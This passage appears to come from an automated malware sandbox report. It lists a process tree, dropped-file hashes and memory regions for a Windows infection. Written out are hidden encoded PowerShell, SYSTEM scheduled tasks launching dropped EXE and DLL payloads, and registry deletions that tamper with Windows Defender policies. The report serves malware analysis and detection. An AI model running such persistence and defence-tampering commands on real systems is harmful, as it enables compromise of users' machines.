                                                                                                            schtasks /run /I /tn "gAMksaEQy"
                                                                                                            2⤵
                                                                                                              PID:2244
                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                              schtasks /DELETE /F /TN "gAMksaEQy"
                                                                                                              2⤵
                                                                                                                PID:780
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /CREATE /TN "IgtQTOrFPzUAqCkBz" /SC once /ST 08:36:49 /RU "SYSTEM" /TR "\"C:\Windows\Temp\jGfIkfyNUYzpFaAP\lVlepFoIkegpjYn\pwrqvZC.exe\" s1 /site_id 525403 /S" /V1 /F
                                                                                                                2⤵
                                                                                                                • Drops file in Windows directory
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:5104
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /run /I /tn "IgtQTOrFPzUAqCkBz"
                                                                                                                2⤵
                                                                                                                  PID:3408
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                1⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:4180
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  2⤵
                                                                                                                    PID:3128
                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                  1⤵
                                                                                                                    PID:1292
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:4216
                                                                                                                    • C:\Windows\Temp\jGfIkfyNUYzpFaAP\lVlepFoIkegpjYn\pwrqvZC.exe
                                                                                                                      C:\Windows\Temp\jGfIkfyNUYzpFaAP\lVlepFoIkegpjYn\pwrqvZC.exe s1 /site_id 525403 /S
                                                                                                                      1⤵
                                                                                                                      • Checks computer location settings
                                                                                                                      • Executes dropped EXE
                                                                                                                      • Drops Chrome extension
                                                                                                                      • Drops desktop.ini file(s)
                                                                                                                      • Drops file in System32 directory
                                                                                                                      • Drops file in Program Files directory
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:4696
                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                        schtasks /DELETE /F /TN "bTnoAmfKdscdcboFzF"
                                                                                                                        2⤵
                                                                                                                          PID:3972
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                          2⤵
                                                                                                                            PID:3796
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
                                                                                                                              3⤵
                                                                                                                                PID:2064
                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                              cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                              2⤵
                                                                                                                                PID:4336
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:3704
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\gFJICtNsU\obLnbj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "eTyYrCUfQkLWCud" /V1 /F
                                                                                                                                  2⤵
                                                                                                                                  • Drops file in Windows directory
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:208
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /CREATE /TN "eTyYrCUfQkLWCud2" /F /xml "C:\Program Files (x86)\gFJICtNsU\iSxluuT.xml" /RU "SYSTEM"
                                                                                                                                  2⤵
                                                                                                                                  • Creates scheduled task(s)
                                                                                                                                  PID:2264
                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                  schtasks /END /TN "eTyYrCUfQkLWCud"
                                                                                                                                  2⤵
                                                                                                                                    PID:1688
                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                    schtasks /DELETE /F /TN "eTyYrCUfQkLWCud"
                                                                                                                                    2⤵
                                                                                                                                      PID:4872
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "OAIavqKLMERoEJ" /F /xml "C:\Program Files (x86)\byRmemrNmrtU2\gRessGb.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4088
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "PnFvXYxKemKEV2" /F /xml "C:\ProgramData\YUmrVHZGaaMemFVB\OsEpcby.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2076
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "OcdmXCTmoSZpoftSh2" /F /xml "C:\Program Files (x86)\gNoCAXIxeWgcTvnHyUR\mMuKbRZ.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:1832
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "GfEsDjEvWxsGkloLXoP2" /F /xml "C:\Program Files (x86)\qmVkuzCNmUGJC\MggGMrI.xml" /RU "SYSTEM"
                                                                                                                                      2⤵
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:2248
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /CREATE /TN "EIflLeAvhIJWGSPBF" /SC once /ST 17:56:58 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\jGfIkfyNUYzpFaAP\SHrbhvoL\cUhtkEM.dll\",#1 /site_id 525403" /V1 /F
                                                                                                                                      2⤵
                                                                                                                                      • Drops file in Windows directory
                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                      PID:4516
                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                      schtasks /run /I /tn "EIflLeAvhIJWGSPBF"
                                                                                                                                      2⤵
                                                                                                                                        PID:2528
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                        2⤵
                                                                                                                                          PID:5028
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:1136
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                            2⤵
                                                                                                                                              PID:2212
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v "SpyNetReporting" /f /reg:64
                                                                                                                                                3⤵
                                                                                                                                                  PID:4800
                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                schtasks /DELETE /F /TN "IgtQTOrFPzUAqCkBz"
                                                                                                                                                2⤵
                                                                                                                                                  PID:3860
                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jGfIkfyNUYzpFaAP\SHrbhvoL\cUhtkEM.dll",#1 /site_id 525403
                                                                                                                                                1⤵
                                                                                                                                                  PID:1444
                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\jGfIkfyNUYzpFaAP\SHrbhvoL\cUhtkEM.dll",#1 /site_id 525403
                                                                                                                                                    2⤵
                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                    PID:1992
                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                      schtasks /DELETE /F /TN "EIflLeAvhIJWGSPBF"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:2544

                                                                                                                                                  Network

                                                                                                                                                  MITRE ATT&CK Enterprise v6

                                                                                                                                                  Replay Monitor

                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                  Downloads

                                                                                                                                                  • C:\Program Files (x86)\byRmemrNmrtU2\gRessGb.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    7bca8bc14690ea64788a3d15c496e2fb

                                                                                                                                                    SHA1

                                                                                                                                                    3af52ae4aacda2d8e6161cc366159330faca5a08

                                                                                                                                                    SHA256

                                                                                                                                                    6933bd957fc18b584b20467c03dae110f32b56127b8eff80ac27dcd0611bf662

                                                                                                                                                    SHA512

                                                                                                                                                    ddfd5253195ea8f5b322fd52083cd557aa9da81c9bd8e3256cecdc4583b7cd64d5af514cab9be6036a506b92a1c13fcf21d5e5e269ce30b23e3b8e5e166cb78e

                                                                                                                                                  • C:\Program Files (x86)\gFJICtNsU\iSxluuT.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    468d96da4749cff1194501240aad6190

                                                                                                                                                    SHA1

                                                                                                                                                    13b6200c239e331eb2caf833229d03e37eaae1ae

                                                                                                                                                    SHA256

                                                                                                                                                    7aff868e7fbc6596df1829c5e235d36aed3399630c7f9c0945c799b4d6dd419d

                                                                                                                                                    SHA512

                                                                                                                                                    bd934b4499cc42a1a616951ba1cc891b143e10ab9f27d9e002afe2ad25acd91ad4ea2740a05ecb5244f5d648e97f13a4a915d5bd118656dba69c6d0c0c54d973

                                                                                                                                                  • C:\Program Files (x86)\gNoCAXIxeWgcTvnHyUR\mMuKbRZ.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    83dc44bddd6365edad218742924c5de0

                                                                                                                                                    SHA1

                                                                                                                                                    89e95565b806d64ef55ba6cea4a6be43be2579b0

                                                                                                                                                    SHA256

                                                                                                                                                    69f0c58c666c7cdede38ff319915089d90ff0330e707210ddbbb30324fd73a8d

                                                                                                                                                    SHA512

                                                                                                                                                    c9bc65c68cfbc0939f5ab24649516b4042b9df4b2d34ef9f5ebfaa5001387e3d16e825625cf374262fcbb71a291eed522f505837dc2935c977fc8e062f5ca663

                                                                                                                                                  • C:\Program Files (x86)\qmVkuzCNmUGJC\MggGMrI.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    7f3735d9eba0a23ed4e7acbbfdb60fe6

                                                                                                                                                    SHA1

                                                                                                                                                    304562da7ae8e1827251362c34f74776e25e97ca

                                                                                                                                                    SHA256

                                                                                                                                                    547ea2391a607121fdf15d298a9517d89b7f26de53e365c8d00fc2241c509343

                                                                                                                                                    SHA512

                                                                                                                                                    a524a997512b7a3be9f5d2e35a2085b8069522cc1ce9621154fd9db3b9dc1a8bda517f256c51543d50ddd0bf8a57fde201df770899071a178d251fad0d3c09a1

                                                                                                                                                  • C:\ProgramData\YUmrVHZGaaMemFVB\OsEpcby.xml

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    8daf56be31d64cd85a94de2429504def

                                                                                                                                                    SHA1

                                                                                                                                                    d51e0d2a66783c32bef151ecec228aee394a3a25

                                                                                                                                                    SHA256

                                                                                                                                                    3c55a5168375972e977011bdc3beb8c3d4fd4f5f7a25ed7d6f5701b097e06dfa

                                                                                                                                                    SHA512

                                                                                                                                                    ec6ddf6e42d6891ad3740d318d8d40057642a78981d25b28362d84191203ed44de0ef19b2f3f4d71678a55e609c84687912c1de3bb22c02a1c35b2ed70c310a2

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

                                                                                                                                                    Filesize

                                                                                                                                                    2KB

                                                                                                                                                    MD5

                                                                                                                                                    6cf293cb4d80be23433eecf74ddb5503

                                                                                                                                                    SHA1

                                                                                                                                                    24fe4752df102c2ef492954d6b046cb5512ad408

                                                                                                                                                    SHA256

                                                                                                                                                    b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

                                                                                                                                                    SHA512

                                                                                                                                                    0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    64B

                                                                                                                                                    MD5

                                                                                                                                                    d8b9a260789a22d72263ef3bb119108c

                                                                                                                                                    SHA1

                                                                                                                                                    376a9bd48726f422679f2cd65003442c0b6f6dd5

                                                                                                                                                    SHA256

                                                                                                                                                    d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

                                                                                                                                                    SHA512

                                                                                                                                                    550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE5D1.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    350ff1e62b5fb77a673c8c55a85fa690

                                                                                                                                                    SHA1

                                                                                                                                                    5966e24be2af34ddd36cf3d0f2e3ab771259ed4d

                                                                                                                                                    SHA256

                                                                                                                                                    71c87aa8a6a1cd2fa8e455940c9ac92d1782af82dae2f8425221274afbed3820

                                                                                                                                                    SHA512

                                                                                                                                                    3dcd3a5ca429fc4fc4204c5733d06f7bcbfd4d744019a7f67d8b8caa0ed662194d2a1a8164d3e29b5d55b78d64aa0405fbc086cdaf00ad921d748c1f0c83643f

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE5D1.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.3MB

                                                                                                                                                    MD5

                                                                                                                                                    350ff1e62b5fb77a673c8c55a85fa690

                                                                                                                                                    SHA1

                                                                                                                                                    5966e24be2af34ddd36cf3d0f2e3ab771259ed4d

                                                                                                                                                    SHA256

                                                                                                                                                    71c87aa8a6a1cd2fa8e455940c9ac92d1782af82dae2f8425221274afbed3820

                                                                                                                                                    SHA512

                                                                                                                                                    3dcd3a5ca429fc4fc4204c5733d06f7bcbfd4d744019a7f67d8b8caa0ed662194d2a1a8164d3e29b5d55b78d64aa0405fbc086cdaf00ad921d748c1f0c83643f

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE9F7.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    f6d475dd89e71eb747dda602d7cdf15b

                                                                                                                                                    SHA1

                                                                                                                                                    0e206266e610c76c1f61257d81d8fa3140d0981c

                                                                                                                                                    SHA256

                                                                                                                                                    e8f4525d715d7aebbe1c39ebbb0ff97f17c6a336d1ef2714152dd4446168b9c9

                                                                                                                                                    SHA512

                                                                                                                                                    62a5bdc2c0c81773e2406012ed17177b2ede55bb32d4ea92a9f6bf1ffc410ea4b0cdc1a89f92eb1dfee7e761671bbbad660e05fd1363d6dbde7ce687f0b22839

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSE9F7.tmp\Install.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    f6d475dd89e71eb747dda602d7cdf15b

                                                                                                                                                    SHA1

                                                                                                                                                    0e206266e610c76c1f61257d81d8fa3140d0981c

                                                                                                                                                    SHA256

                                                                                                                                                    e8f4525d715d7aebbe1c39ebbb0ff97f17c6a336d1ef2714152dd4446168b9c9

                                                                                                                                                    SHA512

                                                                                                                                                    62a5bdc2c0c81773e2406012ed17177b2ede55bb32d4ea92a9f6bf1ffc410ea4b0cdc1a89f92eb1dfee7e761671bbbad660e05fd1363d6dbde7ce687f0b22839

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU\zqNEwjEvGwoHmNL\REOYRvZ.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    f6d475dd89e71eb747dda602d7cdf15b

                                                                                                                                                    SHA1

                                                                                                                                                    0e206266e610c76c1f61257d81d8fa3140d0981c

                                                                                                                                                    SHA256

                                                                                                                                                    e8f4525d715d7aebbe1c39ebbb0ff97f17c6a336d1ef2714152dd4446168b9c9

                                                                                                                                                    SHA512

                                                                                                                                                    62a5bdc2c0c81773e2406012ed17177b2ede55bb32d4ea92a9f6bf1ffc410ea4b0cdc1a89f92eb1dfee7e761671bbbad660e05fd1363d6dbde7ce687f0b22839

                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\UVvLxQGpYuPzHAioU\zqNEwjEvGwoHmNL\REOYRvZ.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    f6d475dd89e71eb747dda602d7cdf15b

                                                                                                                                                    SHA1

                                                                                                                                                    0e206266e610c76c1f61257d81d8fa3140d0981c

                                                                                                                                                    SHA256

                                                                                                                                                    e8f4525d715d7aebbe1c39ebbb0ff97f17c6a336d1ef2714152dd4446168b9c9

                                                                                                                                                    SHA512

                                                                                                                                                    62a5bdc2c0c81773e2406012ed17177b2ede55bb32d4ea92a9f6bf1ffc410ea4b0cdc1a89f92eb1dfee7e761671bbbad660e05fd1363d6dbde7ce687f0b22839

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                                                                    Filesize

                                                                                                                                                    1KB

                                                                                                                                                    MD5

                                                                                                                                                    33b19d75aa77114216dbc23f43b195e3

                                                                                                                                                    SHA1

                                                                                                                                                    36a6c3975e619e0c5232aa4f5b7dc1fec9525535

                                                                                                                                                    SHA256

                                                                                                                                                    b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2

                                                                                                                                                    SHA512

                                                                                                                                                    676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821

                                                                                                                                                  • C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                                                    Filesize

                                                                                                                                                    11KB

                                                                                                                                                    MD5

                                                                                                                                                    d64968a0c85cd7bd52dc580313aaf9bf

                                                                                                                                                    SHA1

                                                                                                                                                    7b93f3d4865d2af1bbecf20a2ee9bc8260531a7e

                                                                                                                                                    SHA256

                                                                                                                                                    1ee99cfd0628a4ec8414ddfcb214b293c8a88dbea8d851bad79fce3a56ba5af6

                                                                                                                                                    SHA512

                                                                                                                                                    4ce7e5a5f6990677c5bbcf4bb559efaa44b90877308ac8a7f1bd44ddc69bf52c2ef66e899eb64663fb1bba58cc9a8c22c1bd9172f796f677954e7b73a2df149c

                                                                                                                                                  • C:\Windows\Temp\jGfIkfyNUYzpFaAP\SHrbhvoL\cUhtkEM.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    c12d3cf71c62ab9daad0c9d0623659c8

                                                                                                                                                    SHA1

                                                                                                                                                    5383076455dfe8c717ca844bfcb6c59bd7a760a6

                                                                                                                                                    SHA256

                                                                                                                                                    d4913fb69bdb9896dd5b3ed86b54f65b766fcb737669fdf6f27d4d91e4919c0e

                                                                                                                                                    SHA512

                                                                                                                                                    c7a6afde90ecdf72880ef6f694b3147a62613091945d2d28d7ed2f87324cadcfa6e21e74b94503c288b47b8bb34de0008e5ea6cad9aee1f8deacf141dcd68b01

                                                                                                                                                  • C:\Windows\Temp\jGfIkfyNUYzpFaAP\SHrbhvoL\cUhtkEM.dll

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                    MD5

                                                                                                                                                    c12d3cf71c62ab9daad0c9d0623659c8

                                                                                                                                                    SHA1

                                                                                                                                                    5383076455dfe8c717ca844bfcb6c59bd7a760a6

                                                                                                                                                    SHA256

                                                                                                                                                    d4913fb69bdb9896dd5b3ed86b54f65b766fcb737669fdf6f27d4d91e4919c0e

                                                                                                                                                    SHA512

                                                                                                                                                    c7a6afde90ecdf72880ef6f694b3147a62613091945d2d28d7ed2f87324cadcfa6e21e74b94503c288b47b8bb34de0008e5ea6cad9aee1f8deacf141dcd68b01

                                                                                                                                                  • C:\Windows\Temp\jGfIkfyNUYzpFaAP\lVlepFoIkegpjYn\pwrqvZC.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    f6d475dd89e71eb747dda602d7cdf15b

                                                                                                                                                    SHA1

                                                                                                                                                    0e206266e610c76c1f61257d81d8fa3140d0981c

                                                                                                                                                    SHA256

                                                                                                                                                    e8f4525d715d7aebbe1c39ebbb0ff97f17c6a336d1ef2714152dd4446168b9c9

                                                                                                                                                    SHA512

                                                                                                                                                    62a5bdc2c0c81773e2406012ed17177b2ede55bb32d4ea92a9f6bf1ffc410ea4b0cdc1a89f92eb1dfee7e761671bbbad660e05fd1363d6dbde7ce687f0b22839

                                                                                                                                                  • C:\Windows\Temp\jGfIkfyNUYzpFaAP\lVlepFoIkegpjYn\pwrqvZC.exe

                                                                                                                                                    Filesize

                                                                                                                                                    6.8MB

                                                                                                                                                    MD5

                                                                                                                                                    f6d475dd89e71eb747dda602d7cdf15b

                                                                                                                                                    SHA1

                                                                                                                                                    0e206266e610c76c1f61257d81d8fa3140d0981c

                                                                                                                                                    SHA256

                                                                                                                                                    e8f4525d715d7aebbe1c39ebbb0ff97f17c6a336d1ef2714152dd4446168b9c9

                                                                                                                                                    SHA512

                                                                                                                                                    62a5bdc2c0c81773e2406012ed17177b2ede55bb32d4ea92a9f6bf1ffc410ea4b0cdc1a89f92eb1dfee7e761671bbbad660e05fd1363d6dbde7ce687f0b22839

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\Machine\Registry.pol

                                                                                                                                                    Filesize

                                                                                                                                                    5KB

                                                                                                                                                    MD5

                                                                                                                                                    15c1d7c3d8fe6245bef0cb39bf8afb2d

                                                                                                                                                    SHA1

                                                                                                                                                    07b7e0a193f04bdaf8ea853ddfe1ee6be0fc9a33

                                                                                                                                                    SHA256

                                                                                                                                                    4ce49fd207ee1c2c5346e85378b9b0aaf975772a5cd73cf541919acb0ef7e1bc

                                                                                                                                                    SHA512

                                                                                                                                                    0fdb867427ee71364465fee0d4a91bca43eb84145c3e00586ca4668dd0a0a13954f2030ed2b48d4af5042b684c8c4c7c4609e5f8bdcf752a817295133968a49d

                                                                                                                                                  • C:\Windows\system32\GroupPolicy\gpt.ini

                                                                                                                                                    Filesize

                                                                                                                                                    268B

                                                                                                                                                    MD5

                                                                                                                                                    a62ce44a33f1c05fc2d340ea0ca118a4

                                                                                                                                                    SHA1

                                                                                                                                                    1f03eb4716015528f3de7f7674532c1345b2717d

                                                                                                                                                    SHA256

                                                                                                                                                    9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

                                                                                                                                                    SHA512

                                                                                                                                                    9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

                                                                                                                                                  • memory/1992-252-0x0000000010630000-0x0000000011630000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16.0MB

                                                                                                                                                  • memory/1992-250-0x0000000010000000-0x0000000011000000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16.0MB

                                                                                                                                                  • memory/3664-151-0x000001F428F80000-0x000001F428FA2000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/3664-154-0x00007FFB8E480000-0x00007FFB8EF41000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/3664-152-0x00007FFB8E480000-0x00007FFB8EF41000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/3720-166-0x0000000004950000-0x00000000049B6000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/3720-167-0x00000000049C0000-0x0000000004A26000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    408KB

                                                                                                                                                  • memory/3720-164-0x00000000041B0000-0x00000000047D8000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    6.2MB

                                                                                                                                                  • memory/3720-163-0x00000000016D0000-0x0000000001706000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    216KB

                                                                                                                                                  • memory/3720-168-0x0000000005000000-0x000000000501E000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    120KB

                                                                                                                                                  • memory/3720-165-0x0000000004150000-0x0000000004172000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    136KB

                                                                                                                                                  • memory/4180-219-0x00007FFB8DC10000-0x00007FFB8E6D1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4180-221-0x00007FFB8DC10000-0x00007FFB8E6D1000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    10.8MB

                                                                                                                                                  • memory/4300-138-0x0000000010000000-0x0000000011000000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    16.0MB

                                                                                                                                                  • memory/4696-233-0x0000000003D20000-0x0000000003D85000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    404KB

                                                                                                                                                  • memory/4696-229-0x0000000003810000-0x0000000003895000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    532KB

                                                                                                                                                  • memory/4696-243-0x0000000004440000-0x00000000044B4000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    464KB

                                                                                                                                                  • memory/4696-247-0x00000000044C0000-0x0000000004578000-memory.dmp

                                                                                                                                                    Filesize

                                                                                                                                                    736KB